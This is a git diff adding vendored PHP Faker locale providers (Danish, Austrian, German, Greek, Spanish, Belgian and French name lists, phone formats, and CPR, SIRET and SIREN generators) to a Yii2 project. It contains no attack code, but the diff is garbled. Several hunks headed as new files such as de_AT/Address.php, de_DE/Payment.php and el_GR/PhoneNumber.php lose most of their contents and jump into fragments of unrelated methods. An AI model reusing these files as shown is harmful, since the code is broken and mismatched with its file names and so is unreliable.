'Johannes', + 'John', 'Johnny', 'Jon', 'Jonas', 'Jonathan', 'Josef', 'Jul', 'Julius', 'Jørgen', 'Jørn', 'Kai', 'Kaj', + 'Karl', 'Karlo', 'Karsten', 'Kasper', 'Kenneth', 'Kent', 'Kevin', 'Kjeld', 'Klaus', 'Knud', 'Kristian', 'Kristoffer', + 'Kurt', 'Lars', 'Lasse', 'Leif', 'Lennart', 'Leo', 'Leon', 'Louis', 'Lucas', 'Lukas', 'Mads', 'Magnus', + 'Malthe', 'Marc', 'Marcus', 'Marinus', 'Marius', 'Mark', 'Markus', 'Martin', 'Martinus', 'Mathias', 'Max', 'Michael', + 'Mikael', 'Mike', 'Mikkel', 'Mogens', 'Mohamad', 'Mohamed', 'Mohammad', 'Morten', 'Nick', 'Nicklas', 'Nicolai', 'Nicolaj', + 'Niels', 'Niklas', 'Nikolaj', 'Nils', 'Olaf', 'Olav', 'Ole', 'Oliver', 'Oscar', 'Oskar', 'Otto', 'Ove', + 'Palle', 'Patrick', 'Paul', 'Peder', 'Per', 'Peter', 'Philip', 'Poul', 'Preben', 'Rasmus', 'Rene', 'René', + 'Richard', 'Robert', 'Rolf', 'Rudolf', 'Rune', 'Sebastian', 'Sigurd', 'Simon', 'Simone', 'Steen', 'Stefan', 'Steffen', + 'Sten', 'Stig', 'Sune', 'Sven', 'Svend', 'Søren', 'Tage', 'Theodor', 'Thomas', 'Thor', 'Thorvald', 'Tim', + 'Tobias', 'Tom', 'Tommy', 'Tonny', 'Torben', 'Troels', 'Uffe', 'Ulrik', 'Vagn', 'Vagner', 'Valdemar', 'Vang', + 'Verner', 'Victor', 'Viktor', 'Villy', 'Walther', 'Werner', 'Wilhelm', 'William', 'Willy', 'Åge', 'Bendt', 'Bjarke', + 'Chr', 'Eigil', 'Ejgil', 'Ejler', 'Ejnar', 'Ejner', 'Evald', 'Folmer', 'Gunner', 'Gurli', 'Hartvig', 'Herluf', 'Hjalmar', + 'Ingemann', 'Ingolf', 'Ingvard', 'Keld', 'Kresten', 'Laurids', 'Laurits', 'Lauritz', 'Ludvig', 'Lynge', 'Oluf', 'Osvald', + 'Povl', 'Richardt', 'Sigfred', 'Sofus', 'Thorkild', 'Viggo', 'Vilhelm', 'Villiam', + ); + + protected static $firstNameFemale = array( + 'Aase', 'Agathe', 'Agnes', 'Alberte', 'Alexandra', 'Alice', 'Alma', 'Amalie', 'Amanda', 'Andrea', 'Ane', 'Anette', 'Anita', + 'Anja', 'Ann', 'Anna', 'Annalise', 'Anne', 'Anne-Lise', 'Anne-Marie', 'Anne-Mette', 'Annelise', 'Annette', 'Anni', 'Annie', + 'Annika', 'Anny', 'Asta', 'Astrid', 'Augusta', 'Benedikte', 'Bente', 'Berit', 'Bertha', 'Betina', 'Bettina', 'Betty', + 'Birgit', 'Birgitte', 'Birte', 'Birthe', 'Bitten', 'Bodil', 'Britt', 'Britta', 'Camilla', 'Carina', 'Carla', 'Caroline', + 'Cathrine', 'Cecilie', 'Charlotte', 'Christa', 'Christen', 'Christiane', 'Christina', 'Christine', 'Clara', 'Conni', 'Connie', 'Conny', + 'Dagmar', 'Dagny', 'Diana', 'Ditte', 'Dora', 'Doris', 'Dorte', 'Dorthe', 'Ebba', 'Edel', 'Edith', 'Eleonora', + 'Eli', 'Elin', 'Eline', 'Elinor', 'Elisa', 'Elisabeth', 'Elise', 'Ella', 'Ellen', 'Ellinor', 'Elly', 'Elna', + 'Elsa', 'Else', 'Elsebeth', 'Elvira', 'Emilie', 'Emma', 'Emmy', 'Erna', 'Ester', 'Esther', 'Eva', 'Evelyn', + 'Frede', 'Frederikke', 'Freja', 'Frida', 'Gerda', 'Gertrud', 'Gitte', 'Grete', 'Grethe', 'Gudrun', 'Hanna', 'Hanne', + 'Hardy', 'Harriet', 'Hedvig', 'Heidi', 'Helen', 'Helena', 'Helene', 'Helga', 'Helle', 'Henny', 'Henriette', 'Herdis', + 'Hilda', 'Iben', 'Ida', 'Ilse', 'Ina', 'Inga', 'Inge', 'Ingeborg', 'Ingelise', 'Inger', 'Ingrid', 'Irene', + 'Iris', 'Irma', 'Isabella', 'Jane', 'Janni', 'Jannie', 'Jeanette', 'Jeanne', 'Jenny', 'Jes', 'Jette', 'Joan', + 'Johanna', 'Johanne', 'Jonna', 'Josefine', 'Josephine', 'Juliane', 'Julie', 'Jytte', 'Kaja', 'Kamilla', 'Karen', 'Karin', + 'Karina', 'Karla', 'Karoline', 'Kate', 'Kathrine', 'Katja', 'Katrine', 'Ketty', 'Kim', 'Kirsten', 'Kirstine', 'Klara', + 'Krista', 'Kristen', 'Kristina', 'Kristine', 'Laila', 'Laura', 'Laurine', 'Lea', 'Lena', 'Lene', 'Lilian', 'Lilli', + 'Lillian', 'Lilly', 'Linda', 'Line', 'Lis', 'Lisa', 'Lisbet', 'Lisbeth', 'Lise', 'Liselotte', 'Lissi', 'Lissy', + 'Liv', 'Lizzie', 'Lone', 'Lotte', 'Louise', 'Lydia', 'Lykke', 'Lærke', 'Magda', 'Magdalene', 'Mai', 'Maiken', + 'Maj', 'Maja', 'Majbritt', 'Malene', 'Maren', 'Margit', 'Margrethe', 'Maria', 'Mariane', 'Marianne', 'Marie', 'Marlene', + 'Martha', 'Martine', 'Mary', 'Mathilde', 'Matilde', 'Merete', 'Merethe', 'Meta', 'Mette', 'Mia', 'Michelle', 'Mie', + 'Mille', 'Minna', 'Mona', 'Monica', 'Nadia', 'Nancy', 'Nanna', 'Nicoline', 'Nikoline', 'Nina', 'Ninna', 'Oda', + 'Olga', 'Olivia', 'Orla', 'Paula', 'Pauline', 'Pernille', 'Petra', 'Pia', 'Poula', 'Ragnhild', 'Randi', 'Rasmine', + 'Rebecca', 'Rebekka', 'Rigmor', 'Rikke', 'Rita', 'Rosa', 'Rose', 'Ruth', 'Sabrina', 'Sandra', 'Sanne', 'Sara', + 'Sarah', 'Selma', 'Severin', 'Sidsel', 'Signe', 'Sigrid', 'Sine', 'Sofia', 'Sofie', 'Solveig', 'Solvejg', 'Sonja', + 'Sophie', 'Stephanie', 'Stine', 'Susan', 'Susanne', 'Tanja', 'Thea', 'Theodora', 'Therese', 'Thi', 'Thyra', 'Tina', + 'Tine', 'Tove', 'Trine', 'Ulla', 'Vera', 'Vibeke', 'Victoria', 'Viktoria', 'Viola', 'Vita', 'Vivi', 'Vivian', + 'Winnie', 'Yrsa', 'Yvonne', 'Agnete', 'Agnethe', 'Alfrida', 'Alvilda', 'Anine', 'Bolette', 'Dorthea', 'Gunhild', + 'Hansine', 'Inge-Lise', 'Jensine', 'Juel', 'Jørgine', 'Kamma', 'Kristiane', 'Maj-Britt', 'Margrete', 'Metha', 'Nielsine', + 'Oline', 'Petrea', 'Petrine', 'Pouline', 'Ragna', 'Sørine', 'Thora', 'Valborg', 'Vilhelmine', + ); + + /** + * @var array Danish middle names. + */ + protected static $middleName = array( + 'Møller', 'Lund', 'Holm', 'Jensen', 'Juul', 'Nielsen', 'Kjær', 'Hansen', 'Skov', 'Østergaard', 'Vestergaard', + 'Nørgaard', 'Dahl', 'Bach', 'Friis', 'Søndergaard', 'Andersen', 'Bech', 'Pedersen', 'Bruun', 'Nygaard', 'Winther', + 'Bang', 'Krogh', 'Schmidt', 'Christensen', 'Hedegaard', 'Toft', 'Damgaard', 'Holst', 'Sørensen', 'Juhl', 'Munk', + 'Skovgaard', 'Søgaard', 'Aagaard', 'Berg', 'Dam', 'Petersen', 'Lind', 'Overgaard', 'Brandt', 'Larsen', 'Bak', 'Schou', + 'Vinther', 'Bjerregaard', 'Riis', 'Bundgaard', 'Kruse', 'Mølgaard', 'Hjorth', 'Ravn', 'Madsen', 'Rasmussen', + 'Jørgensen', 'Kristensen', 'Bonde', 'Bay', 'Hougaard', 'Dalsgaard', 'Kjærgaard', 'Haugaard', 'Munch', 'Bjerre', 'Due', + 'Sloth', 'Leth', 'Kofoed', 'Thomsen', 'Kragh', 'Højgaard', 'Dalgaard', 'Hjort', 'Kirkegaard', 'Bøgh', 'Beck', 'Nissen', + 'Rask', 'Høj', 'Brix', 'Storm', 'Buch', 'Bisgaard', 'Birch', 'Gade', 'Kjærsgaard', 'Hald', 'Lindberg', 'Høgh', 'Falk', + 'Koch', 'Thorup', 'Borup', 'Knudsen', 'Vedel', 'Poulsen', 'Bøgelund', 'Juel', 'Frost', 'Hvid', 'Bjerg', 'Bæk', 'Elkjær', + 'Hartmann', 'Kirk', 'Sand', 'Sommer', 'Skou', 'Nedergaard', 'Meldgaard', 'Brink', 'Lindegaard', 'Fischer', 'Rye', + 'Hoffmann', 'Daugaard', 'Gram', 'Johansen', 'Meyer', 'Schultz', 'Fogh', 'Bloch', 'Lundgaard', 'Brøndum', 'Jessen', + 'Busk', 'Holmgaard', 'Lindholm', 'Krog', 'Egelund', 'Engelbrecht', 'Buus', 'Korsgaard', 'Ellegaard', 'Tang', 'Steen', + 'Kvist', 'Olsen', 'Nørregaard', 'Fuglsang', 'Wulff', 'Damsgaard', 'Hauge', 'Sonne', 'Skytte', 'Brun', 'Kronborg', + 'Abildgaard', 'Fabricius', 'Bille', 'Skaarup', 'Rahbek', 'Borg', 'Torp', 'Klitgaard', 'Nørskov', 'Greve', 'Hviid', + 'Mørch', 'Buhl', 'Rohde', 'Mørk', 'Vendelbo', 'Bjørn', 'Laursen', 'Egede', 'Rytter', 'Lehmann', 'Guldberg', 'Rosendahl', + 'Krarup', 'Krogsgaard', 'Westergaard', 'Rosendal', 'Fisker', 'Højer', 'Rosenberg', 'Svane', 'Storgaard', 'Pihl', + 'Mohamed', 'Bülow', 'Birk', 'Hammer', 'Bro', 'Kaas', 'Clausen', 'Nymann', 'Egholm', 'Ingemann', 'Haahr', 'Olesen', + 'Nøhr', 'Brinch', 'Bjerring', 'Christiansen', 'Schrøder', 'Guldager', 'Skjødt', 'Højlund', 'Ørum', 'Weber', + 'Bødker', 'Bruhn', 'Stampe', 'Astrup', 'Schack', 'Mikkelsen', 'Høyer', 'Husted', 'Skriver', 'Lindgaard', 'Yde', + 'Sylvest', 'Lykkegaard', 'Ploug', 'Gammelgaard', 'Pilgaard', 'Brogaard', 'Degn', 'Kaae', 'Kofod', 'Grønbæk', + 'Lundsgaard', 'Bagge', 'Lyng', 'Rømer', 'Kjeldgaard', 'Hovgaard', 'Groth', 'Hyldgaard', 'Ladefoged', 'Jacobsen', + 'Linde', 'Lange', 'Stokholm', 'Bredahl', 'Hein', 'Mose', 'Bækgaard', 'Sandberg', 'Klarskov', 'Kamp', 'Green', + 'Iversen', 'Riber', 'Smedegaard', 'Nyholm', 'Vad', 'Balle', 'Kjeldsen', 'Strøm', 'Borch', 'Lerche', 'Grønlund', + 'Vestergård', 'Østergård', 'Nyborg', 'Qvist', 'Damkjær', 'Kold', 'Sønderskov', 'Bank', + ); + + /** + * @var array Danish last names. + */ + protected static $lastName = array( + 'Jensen', 'Nielsen', 'Hansen', 'Pedersen', 'Andersen', 'Christensen', 'Larsen', 'Sørensen', 'Rasmussen', 'Petersen', + 'Jørgensen', 'Madsen', 'Kristensen', 'Olsen', 'Christiansen', 'Thomsen', 'Poulsen', 'Johansen', 'Knudsen', 'Mortensen', + 'Møller', 'Jacobsen', 'Jakobsen', 'Olesen', 'Frederiksen', 'Mikkelsen', 'Henriksen', 'Laursen', 'Lund', 'Schmidt', + 'Eriksen', 'Holm', 'Kristiansen', 'Clausen', 'Simonsen', 'Svendsen', 'Andreasen', 'Iversen', 'Jeppesen', 'Mogensen', + 'Jespersen', 'Nissen', 'Lauridsen', 'Frandsen', 'Østergaard', 'Jepsen', 'Kjær', 'Carlsen', 'Vestergaard', 'Jessen', + 'Nørgaard', 'Dahl', 'Christoffersen', 'Skov', 'Søndergaard', 'Bertelsen', 'Bruun', 'Lassen', 'Bach', 'Gregersen', + 'Friis', 'Johnsen', 'Steffensen', 'Kjeldsen', 'Bech', 'Krogh', 'Lauritsen', 'Danielsen', 'Mathiesen', 'Andresen', + 'Brandt', 'Winther', 'Toft', 'Ravn', 'Mathiasen', 'Dam', 'Holst', 'Nilsson', 'Lind', 'Berg', 'Schou', 'Overgaard', + 'Kristoffersen', 'Schultz', 'Klausen', 'Karlsen', 'Paulsen', 'Hermansen', 'Thorsen', 'Koch', 'Thygesen', 'Bak', 'Kruse', + 'Bang', 'Juhl', 'Davidsen', 'Berthelsen', 'Nygaard', 'Lorentzen', 'Villadsen', 'Lorenzen', 'Damgaard', 'Bjerregaard', + 'Lange', 'Hedegaard', 'Bendtsen', 'Lauritzen', 'Svensson', 'Justesen', 'Juul', 'Hald', 'Beck', 'Kofoed', 'Søgaard', + 'Meyer', 'Kjærgaard', 'Riis', 'Johannsen', 'Carstensen', 'Bonde', 'Ibsen', 'Fischer', 'Andersson', 'Bundgaard', + 'Johannesen', 'Eskildsen', 'Hemmingsen', 'Andreassen', 'Thomassen', 'Schrøder', 'Persson', 'Hjorth', 'Enevoldsen', + 'Nguyen', 'Henningsen', 'Jønsson', 'Olsson', 'Asmussen', 'Michelsen', 'Vinther', 'Markussen', 'Kragh', 'Thøgersen', + 'Johansson', 'Dalsgaard', 'Gade', 'Bjerre', 'Ali', 'Laustsen', 'Buch', 'Ludvigsen', 'Hougaard', 'Kirkegaard', 'Marcussen', + 'Mølgaard', 'Ipsen', 'Sommer', 'Ottosen', 'Müller', 'Krog', 'Hoffmann', 'Clemmensen', 'Nikolajsen', 'Brodersen', + 'Therkildsen', 'Leth', 'Michaelsen', 'Graversen', 'Frost', 'Dalgaard', 'Albertsen', 'Laugesen', 'Due', 'Ebbesen', + 'Munch', 'Svenningsen', 'Ottesen', 'Fisker', 'Albrechtsen', 'Axelsen', 'Erichsen', 'Sloth', 'Bentsen', 'Westergaard', + 'Bisgaard', 'Nicolaisen', 'Magnussen', 'Thuesen', 'Povlsen', 'Thorup', 'Høj', 'Bentzen', 'Johannessen', 'Vilhelmsen', + 'Isaksen', 'Bendixen', 'Ovesen', 'Villumsen', 'Lindberg', 'Thomasen', 'Kjærsgaard', 'Buhl', 'Kofod', 'Ahmed', 'Smith', + 'Storm', 'Christophersen', 'Bruhn', 'Matthiesen', 'Wagner', 'Bjerg', 'Gram', 'Nedergaard', 'Dinesen', 'Mouritsen', + 'Boesen', 'Borup', 'Abrahamsen', 'Wulff', 'Gravesen', 'Rask', 'Pallesen', 'Greve', 'Korsgaard', 'Haugaard', 'Josefsen', + 'Bæk', 'Espersen', 'Thrane', 'Mørch', 'Frank', 'Lynge', 'Rohde', 'Larsson', 'Hammer', 'Torp', 'Sonne', 'Boysen', 'Bay', + 'Pihl', 'Fabricius', 'Høyer', 'Birch', 'Skou', 'Kirk', 'Antonsen', 'Høgh', 'Damsgaard', 'Dall', 'Truelsen', 'Daugaard', + 'Fuglsang', 'Martinsen', 'Therkelsen', 'Jansen', 'Karlsson', 'Caspersen', 'Steen', 'Callesen', 'Balle', 'Bloch', 'Smidt', + 'Rahbek', 'Hjort', 'Bjørn', 'Skaarup', 'Sand', 'Storgaard', 'Willumsen', 'Busk', 'Hartmann', 'Ladefoged', 'Skovgaard', + 'Philipsen', 'Damm', 'Haagensen', 'Hviid', 'Duus', 'Kvist', 'Adamsen', 'Mathiassen', 'Degn', 'Borg', 'Brix', 'Troelsen', + 'Ditlevsen', 'Brøndum', 'Svane', 'Mohamed', 'Birk', 'Brink', 'Hassan', 'Vester', 'Elkjær', 'Lykke', 'Nørregaard', + 'Meldgaard', 'Mørk', 'Hvid', 'Abildgaard', 'Nicolajsen', 'Bengtsson', 'Stokholm', 'Ahmad', 'Wind', 'Rømer', 'Gundersen', + 'Carlsson', 'Grøn', 'Khan', 'Skytte', 'Bagger', 'Hendriksen', 'Rosenberg', 'Jonassen', 'Severinsen', 'Jürgensen', + 'Boisen', 'Groth', 'Bager', 'Fogh', 'Hussain', 'Samuelsen', 'Pilgaard', 'Bødker', 'Dideriksen', 'Brogaard', 'Lundberg', + 'Hansson', 'Schwartz', 'Tran', 'Skriver', 'Klitgaard', 'Hauge', 'Højgaard', 'Qvist', 'Voss', 'Strøm', 'Wolff', 'Krarup', + 'Green', 'Odgaard', 'Tønnesen', 'Blom', 'Gammelgaard', 'Jæger', 'Kramer', 'Astrup', 'Würtz', 'Lehmann', 'Koefoed', + 'Skøtt', 'Lundsgaard', 'Bøgh', 'Vang', 'Martinussen', 'Sandberg', 'Weber', 'Holmgaard', 'Bidstrup', 'Meier', 'Drejer', + 'Schneider', 'Joensen', 'Dupont', 'Lorentsen', 'Bro', 'Bagge', 'Terkelsen', 'Kaspersen', 'Keller', 'Eliasen', 'Lyberth', + 'Husted', 'Mouritzen', 'Krag', 'Kragelund', 'Nørskov', 'Vad', 'Jochumsen', 'Hein', 'Krogsgaard', 'Kaas', 'Tolstrup', + 'Ernst', 'Hermann', 'Børgesen', 'Skjødt', 'Holt', 'Buus', 'Gotfredsen', 'Kjeldgaard', 'Broberg', 'Roed', 'Sivertsen', + 'Bergmann', 'Bjerrum', 'Petersson', 'Smed', 'Jeremiassen', 'Nyborg', 'Borch', 'Foged', 'Terp', 'Mark', 'Busch', + 'Lundgaard', 'Boye', 'Yde', 'Hinrichsen', 'Matzen', 'Esbensen', 'Hertz', 'Westh', 'Holmberg', 'Geertsen', 'Raun', + 'Aagaard', 'Kock', 'Falk', 'Munk', + ); + + /** + * Randomly return a danish name. + * + * @return string + */ + public static function middleName() + { + return static::randomElement(static::$middleName); + } + + /** + * Randomly return a danish CPR number (Personnal identification number) format. + * + * @link http://cpr.dk/cpr/site.aspx?p=16 + * @link http://en.wikipedia.org/wiki/Personal_identification_number_%28Denmark%29 + * + * @return string + */ + public static function cpr() + { + $birthdate = new \DateTime('@' . mt_rand(0, time())); + + return sprintf('%s-%s', $birthdate->format('dmy'), static::numerify('%###')); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/PhoneNumber.php new file mode 100644 index 00000000..af96d3f4 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/da_DK/PhoneNumber.php @@ -0,0 +1,21 @@ + + */ +class PhoneNumber extends \Faker\Provider\PhoneNumber +{ + /** + * @var array Danish phonenumber formats. + */ + protected static $formats = array( + '+45 ## ## ## ##', + '+45 #### ####', + '+45########', + '## ## ## ##', + '#### ####', + '########', + ); +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/de_AT/Address.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/de_AT/Address.php new file mode 100644 index 00000000..22bcf125 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/de_AT/Address.php @@ -0,0 +1,99 @@ +generator->parse($format)))); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/de_DE/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/de_DE/Payment.php new file mode 100644 index 00000000..132f4e03 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/de_DE/Payment.php @@ -0,0 +1,19 @@ +generator->parse(static::randomElement(static::$lastNameFormat)); + } + + /** + * @example 'Θεωδωρόπουλος' + */ + public static function lastNameMale() + { + return static::randomElement(static::$lastNameMale); + } + + /** + * @example 'Κοκκίνου' + */ + public static function lastNameFemale() + { + return static::randomElement(static::$lastNameFemale); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/el_GR/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/el_GR/PhoneNumber.php new file mode 100644 index 00000000..107253d4 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/el_GR/PhoneNumber.php @@ -0,0 +1,19 @@ +generator->parse($format)); + + return str_replace('-', '.', static::toLower(static::toAscii($user))); + } + + /** + * @example 'lovato-exposito' + */ + public function domainWord() + { + list($company) = explode(' ', $this->generator->format('company')); + + return static::toLower(static::toAscii(preg_replace('/\W/u', '', $company))); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/es_ES/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/es_ES/Payment.php new file mode 100644 index 00000000..e713445b --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/es_ES/Payment.php @@ -0,0 +1,19 @@ +generator->parse($format)))); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_BE/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_BE/Payment.php new file mode 100644 index 00000000..c281183f --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_BE/Payment.php @@ -0,0 +1,19 @@ + 'Ain'), array('02' => 'Aisne'), array('03' => 'Allier'), array('04' => 'Alpes-de-Haute-Provence'), array('05' => 'Hautes-Alpes'), + array('06' => 'Alpes-Maritimes'), array('07' => 'Ardèche'), array('08' => 'Ardennes'), array('09' => 'Ariège'), array('10' => 'Aube'), + array('11' => 'Aude'), array('12' => 'Aveyron'), array('13' => 'Bouches-du-Rhône'), array('14' => 'Calvados'), array('15' => 'Cantal'), + array('16' => 'Charente'), array('17' => 'Charente-Maritime'), array('18' => 'Cher'), array('19' => 'Corrèze'), array('2A' => 'Corse-du-Sud'), + array('2B' => 'Haute-Corse'), array('21' => "Côte-d'Or"), array('22' => "Côtes-d'Armor"), array('23' => 'Creuse'), array('24' => 'Dordogne'), + array('25' => 'Doubs'), array('26' => 'Drôme'), array('27' => 'Eure'), array('28' => 'Eure-et-Loir'), array('29' => 'Finistère'), array('30' => 'Gard'), + array('31' => 'Haute-Garonne'), array('32' => 'Gers'), array('33' => 'Gironde'), array('34' => 'Hérault'), array('35' => 'Ille-et-Vilaine'), + array('36' => 'Indre'), array('37' => 'Indre-et-Loire'), array('38' => 'Isère'), array('39' => 'Jura'), array('40' => 'Landes'), array('41' => 'Loir-et-Cher'), + array('42' => 'Loire'), array('43' => 'Haute-Loire'), array('44' => 'Loire-Atlantique'), array('45' => 'Loiret'), array('46' => 'Lot'), + array('47' => 'Lot-et-Garonne'), array('48' => 'Lozère'), array('49' => 'Maine-et-Loire'), array('50' => 'Manche'), array('51' => 'Marne'), + array('52' => 'Haute-Marne'), array('53' => 'Mayenne'), array('54' => 'Meurthe-et-Moselle'), array('55' => 'Meuse'), array('56' => 'Morbihan'), + array('57' => 'Moselle'), array('58' => 'Nièvre'), array('59' => 'Nord'), array('60' => 'Oise'), array('61' => 'Orne'), array('62' => 'Pas-de-Calais'), + array('63' => 'Puy-de-Dôme'), array('64' => 'Pyrénées-Atlantiques'), array('65' => 'Hautes-Pyrénées'), array('66' => 'Pyrénées-Orientales'), + array('67' => 'Bas-Rhin'), array('68' => 'Haut-Rhin'), array('69' => 'Rhône'), array('70' => 'Haute-Saône'), array('71' => 'Saône-et-Loire'), + array('72' => 'Sarthe'), array('73' => 'Savoie'), array('74' => 'Haute-Savoie'), array('75' => 'Paris'), array('76' => 'Seine-Maritime'), + array('77' => 'Seine-et-Marne'), array('78' => 'Yvelines'), array('79' => 'Deux-Sèvres'), array('80' => 'Somme'), array('81' => 'Tarn'), + array('82' => 'Tarn-et-Garonne'), array('83' => 'Var'), array('84' => 'Vaucluse'), array('85' => 'Vendée'), array('86' => 'Vienne'), + array('87' => 'Haute-Vienne'), array('88' => 'Vosges'), array('89' => 'Yonne'), array('90' => 'Territoire de Belfort'), array('91' => 'Essonne'), + array('92' => 'Hauts-de-Seine'), array('93' => 'Seine-Saint-Denis'), array('94' => 'Val-de-Marne'), array('95' => "Val-d'Oise"), + array('971' => 'Guadeloupe'), array('972' => 'Martinique'), array('973' => 'Guyane'), array('974' => 'La Réunion'), array('976' => 'Mayotte') + ); + + /** + * @example 'rue' + */ + public static function streetPrefix() + { + return static::randomElement(static::$streetPrefix); + } + + /** + * Randomly returns a french region. + * + * @example 'Guadeloupe' + * + * @return string + */ + public static function region() + { + return static::randomElement(static::$regions); + } + + /** + * Randomly returns a french department ('departmentNumber' => 'departmentName'). + * + * @example array('2B' => 'Haute-Corse') + * + * @return array + */ + public static function department() + { + return static::randomElement(static::$departments); + } + + /** + * Randomly returns a french department name. + * + * @example 'Ardèche' + * + * @return string + */ + public static function departmentName() + { + $randomDepartmentName = array_values(static::department()); + + return $randomDepartmentName[0]; + } + + /** + * Randomly returns a french department number. + * + * @example '59' + * + * @return string + */ + public static function departmentNumber() + { + $randomDepartmentNumber = array_keys(static::department()); + + return $randomDepartmentNumber[0]; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Company.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Company.php new file mode 100644 index 00000000..f3460747 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Company.php @@ -0,0 +1,227 @@ +generator->parse($format)); + + if ($this->isCatchPhraseValid($catchPhrase)) { + break; + } + } while (true); + + return $catchPhrase; + } + + /** + * Generates a siret number (14 digits) that passes the Luhn check. + * Use $maxSequentialDigits to make sure the digits at position 2 to 5 are not zeros. + * @see http://en.wikipedia.org/wiki/Luhn_algorithm + * @param int $maxSequentialDigits The maximum number of digits for the sequential number (> 0 && <= 4). + * @return string + */ + public static function siret($maxSequentialDigits = 2) + { + + if ($maxSequentialDigits > 4 || $maxSequentialDigits <= 0) { + $maxSequentialDigits = 2; + } + + $controlDigit = mt_rand(0, 9); + $siret = $sum = $controlDigit; + + $position = 2; + for ($i = 0; $i < $maxSequentialDigits; $i++) { + + $sequentialDigit = mt_rand(0, 9); + $isEven = $position++ % 2 === 0; + + $tmp = $isEven ? $sequentialDigit * 2 : $sequentialDigit; + if ($tmp >= 10) { + $tmp -= 9; + } + $sum += $tmp; + + $siret = $sequentialDigit . $siret; + + } + + $siret = str_pad($siret, 5, '0', STR_PAD_LEFT); + + $position = 6; + for ($i = 0; $i < 7; $i++) { + + $digit = mt_rand(0, 9); + $isEven = $position++ % 2 === 0; + + $tmp = $isEven ? $digit * 2 : $digit; + if ($tmp >= 10) { + $tmp -= 9; + } + $sum += $tmp; + + $siret = $digit . $siret; + + } + + $mod = $sum % 10; + if ($mod === 0) { + $siret = '00' . $siret; + } else { + // Use the odd position to avoid multiplying by two + $siret = '0' . (10 - $mod) . $siret; + } + + return preg_replace("/([0-9]{3})([0-9]{3})([0-9]{3})([0-9]{5})/", "$1 $2 $3 $4", $siret); + + } + + /** + * Generates a siren number (9 digits) that passes the Luhn check. + * @see http://en.wikipedia.org/wiki/Luhn_algorithm + * @return string + */ + public static function siren() + { + $siren = ''; + $sum = 0; + for ($i = 9; $i > 1; $i--) { + + $digit = mt_rand(0, 9); + $isEven = $i % 2 === 0; + + $tmp = $isEven ? $digit * 2 : $digit; + if ($tmp >= 10) { + $tmp -= 9; + } + $sum += $tmp; + + $siren = $digit . $siren; + + } + + $mod = $sum % 10; + if ($mod === 0) { + $siren = '0' . $siren; + } else { + $siren = (10 - $mod) . $siren; + } + + return preg_replace("/([0-9]{3})([0-9]{3})([0-9]{3})/", "$1 $2 $3", $siren); + + } + + /** + * @var array An array containing string which should not appear twice in a catch phrase. + */ + protected static $wordsWhichShouldNotAppearTwice = array('sécurité', 'simpl'); + + /** + * Validates a french catch phrase. + * + * @param string $catchPhrase The catch phrase to validate. + * + * @return boolean (true if valid, false otherwise) + */ + protected static function isCatchPhraseValid($catchPhrase) + { + foreach (static::$wordsWhichShouldNotAppearTwice as $word) { + // Fastest way to check if a piece of word does not appear twice. + $beginPos = strpos($catchPhrase, $word); + $endPos = strrpos($catchPhrase, $word); + + if ($beginPos !== false && $beginPos != $endPos) { + return false; + } + } + + return true; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Internet.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Internet.php new file mode 100644 index 00000000..3f483d27 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Internet.php @@ -0,0 +1,45 @@ +generator->parse($format)))); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Payment.php new file mode 100644 index 00000000..5316876a --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/fr_FR/Payment.php @@ -0,0 +1,19 @@ +generator->parse($format); + } + + public static function country() + { + return static::randomElement(static::$country); + } + + public static function postcode() + { + return static::toUpper(static::bothify(static::randomElement(static::$postcode))); + } + + public static function regionSuffix() + { + return static::randomElement(static::$regionSuffix); + } + + public static function region() + { + return static::randomElement(static::$region); + } + + public static function cityPrefix() + { + return static::randomElement(static::$cityPrefix); + } + + public function city() + { + return static::randomElement(static::$city); + } + + public function streetPrefix() + { + return 